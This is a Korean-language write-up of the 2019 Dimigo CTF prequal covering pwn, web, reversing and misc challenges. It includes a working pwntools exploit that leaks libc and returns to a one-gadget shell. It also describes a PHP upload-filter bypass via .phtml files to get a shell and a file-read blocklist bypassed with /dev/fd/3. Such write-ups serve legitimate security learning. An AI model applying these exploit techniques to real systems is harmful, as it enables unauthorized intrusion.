2019 Dimi CTF Prequal Writeup
한국디지털미디어고등학교에서 주최하는 CTF에 참여했다.
시험 하루전에 참여한 CTF인데 그래서 한 두시간밖에 참여하지 못해서 9등으로 마무리했다 :)
Pwanble
ropasaurusrex2
Full RELRO, NX, PIE가 걸려있는 바이너리다.
[*] '/vagrant/ctfs/ropasaurusrex2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
메인을 보면 buf가 rbp-0x30
위치에 있는데 64만큼 입력받으면 리턴까지밖에 덮지 못한다. 근데 입력받은만큼 buf를 write해준다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // rax
char buf; // [rsp+0h] [rbp-30h]
init();
read(0, &buf, 64uLL);
v3 = strlen(&buf);
write(1, &buf, v3);
return 0;
}
main에서 ret을 보면 __libc_start_main + 240
의 주소가 저장되는데 이를 이용해서 1byte overwrite해서 __libc_start_main + 233
main을 call하는 곳으로 ret해주면 된다.
그러면 __libc_start_main + 233
주소가 leak될 것이고 다시 메인으로 돌아오니까 리턴을 oneshot으로 덮어주면 된다.
rsp+0x18에는 메인주소가 담겨져있고 주소로 +238에서 call해준다.
exploit.py
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
e = ELF('./ropasaurusrex2')
p = process('./ropasaurusrex2')
libc = e.libc
payload = 'A'*0x30
payload += 'realsung'
payload += '\x29'
p.send(payload)
libc_base = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00') - (libc.symbols['__libc_start_main'] + 233)
log.info('libc_base : ' + hex(libc_base))
payload2 = 'A'*(0x30)
payload2 += 'realsung'
payload2 += p64(libc_base + 0x45216)
p.send(payload2)
p.interactive()
Webhacking
5shared - 43 solver
$extension = explode('.', $file['name'])[1];
if (!in_array($extension, Array("jpg", "gif", "png")))
{
$message = "<script>alert('jpg, gif, png 확장자만 업로드할 수 있습니다.'); history.back(); </script>";
die($message);
}
이런식으로 explode를 사용하면 test.jpg.html
이런식으로 파일을 올릴 수도 있다. 그런데 php는 막아놨다.
phtml이나 pht로 파일을 업로드할 수 있다.
플래그는 http://ctf.dimigo.hs.kr:8961/flaglfalllgllflflagflalglgllfllflflfaglflag
여기에 있다.
FLAG : DIMI{expl0d3_pht_g3t_sh3lL_:p}
simple xss
stored xss
문제
Reversing
ezthread - 7 solver
이 문제는 Anti-debugging 기법이 적용되어있다.
while ( !IsDebuggerPresent() )
;
exit(1);
안티디버깅이 이런식으로 되어있는데 바이너리 패치해서 우회할 수 있다. je를 jmp로 바꾸어 exit으로 가지 않게 하면 된다.
table=[102, 124, 124, 107, 78, 117, 17, 87, 100, 69, 114, 2, 80, 106, 65, 80, 6, 66, 103, 91, 6, 125, 4, 66, 125, 99, 2, 112, 76, 110, 103, 1, 98, 91, 106, 6, 18, 106, 115, 91, 69, 5, 113, 0, 76 ]
flag=[0]*45
key1=34
key2=53
key3=49
for i in range(len(table)):
if(i%3==0):
flag[i] = table[i] ^ key1
elif(i%3==1):
flag[i] = table[i] ^ key2
elif(i%3==2):
flag[i] = table[i] ^ key3
answer=""
for i in range(len(flag)):
answer+=chr(flag[i])
print answer
FLAG : DIMI{D3bUgG3r_pr3sEn7_1s_V3Ry_E4Sy_70_Byp4S5}
keychecker - 17 solver
메인 함수를 보면 encode해주고 decode 해주는 함수가 있다.
./keychecker encode ~~~~
이런식으로 써주면 argv[2]에 오는 문자가 인코딩 된다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
if ( argc != 3 )
{
printf("%s [mod] [text]\n", *argv, envp);
exit(1);
}
if ( !strcmp(argv[1], "encode") )
{
encode(argv[2]);
}
else if ( !strcmp(argv[1], "decode") )
{
decode(argv[2]);
}
return 0;
}
encode 함수를 확인해보면 아래와 같다. decode 함수는 그냥 Your turn이라고 출력해주는 코드밖에 없다.
encode 함수는 문자를 0x23(35)랑 xor해서 2진수로 바꿔주는 코드이다. 이를 이용해서 역으로 짤 수 있다.
__int64 __fastcall encode(const char *a1)
{
signed int j; // [rsp+Ch] [rbp-24h]
int i; // [rsp+10h] [rbp-20h]
int v4; // [rsp+14h] [rbp-1Ch]
_BYTE *v5; // [rsp+18h] [rbp-18h]
int v6; // [rsp+24h] [rbp-Ch]
v6 = strlen(a1);
v5 = malloc(9 * v6);
for ( i = 0; i < v6; ++i )
{
a1[i] ^= 0x23u;
v4 = a1[i];
for ( j = 0; j < 8; ++j )
{
v5[8 * i + j] = v4 % 2 + 48;
v4 /= 2;
}
}
printf("%s\n", v5);
return 0LL;
}
2진수가 주어져있어서 encode 함수를 이용해서 풀 수 있었다.
table = '1110011001010110011101100101011000011010100001100100100010110010001111101110101011001000001111100110100011101010100011100100100010110110001000100011111011100010010010001011001000100110001111101110011011001000101100100010001001111010'
table = table[::-1]
flag = ''
print ''.join(chr(int(table[i:i+8],2)^0x23) for i in range(0,len(table),8))[::-1]
FLAG : DIMI{B1n_t0_5tR1Ng_d1nG_D0ng}
gorev - 23 solver
bytes=[0x44,0x49,0x4d,0x7b,0x47,0x6f,0x5f,0x47,0x30,0x5f,0x47,0x4f,0x5f,0x67,0x6f,0x5f,0x67,0x30,0x5f,0x67,0x4f,0x5f,0x72,0x33,0x76,0x65,0x72,0x73,0x69,0x6e,0x67,0x21,0x70]
flag=""
for i in range(len(bytes)):
flag+=chr(bytes[i]^0x14^0x14)
print flag
이 코드대로 실행하면 DIM{Go_G0_GO_go_g0_gO_r3versing!p
이렇게 나오는데 조금만 수정해주고 제출하였다.
FLAG : DIMI{Go_G0_GO_go_g0_gO_r3versing!}
Misc
Mic Check - 119 solver
FLAG : DIMI{A-A-A-A---Mic-Check!}
dimi-contract - 28 solver
음수 체크를 안해서 그냥 계속 돈을 늘릴 수 있다.
FLAG : DIMI{m1nu5_b4nk_cUrR:p7}
reader - 10 solver
nc (nc ctf.dimigo.hs.kr 1312
)와 python 파일이 주어졌다.
import sys
def send(data, end='\n'):
sys.stdout.write(data + end)
sys.stdout.flush()
def read():
return raw_input()
def filtering(filename):
filter = ['flag', 'proc', 'self', 'etc', 'tmp', 'home', '~', '.', '*', '?', '\\', 'x']
for i in filter:
if i in filename:
send("Filtered!")
sys.exit(-1)
if __name__ == '__main__':
flag = open('flag', 'r')
send("You can't read flag")
send("But you can read file without filter XD")
send("Filename :> ", end='')
filename = read()
filtering(filename)
try:
f = open(filename, 'r')
send(f.read())
except:
send("No such file")
0,1,2을 제외하고 다른 파일을 반복해서 열고 닫으면 fd로 3을 반복해서 얻게 된다고 한다.
payload = /dev/fd/3
$ nc ctf.dimigo.hs.kr 1312
You can't read flag
But you can read file without filter XD
Filename :> /dev/fd/3
DIMI{d3v_fd_3_plz_Cl0s3_F:D!}
FLAG : DIMI{d3v_fd_3_plz_Cl0s3_F:D!}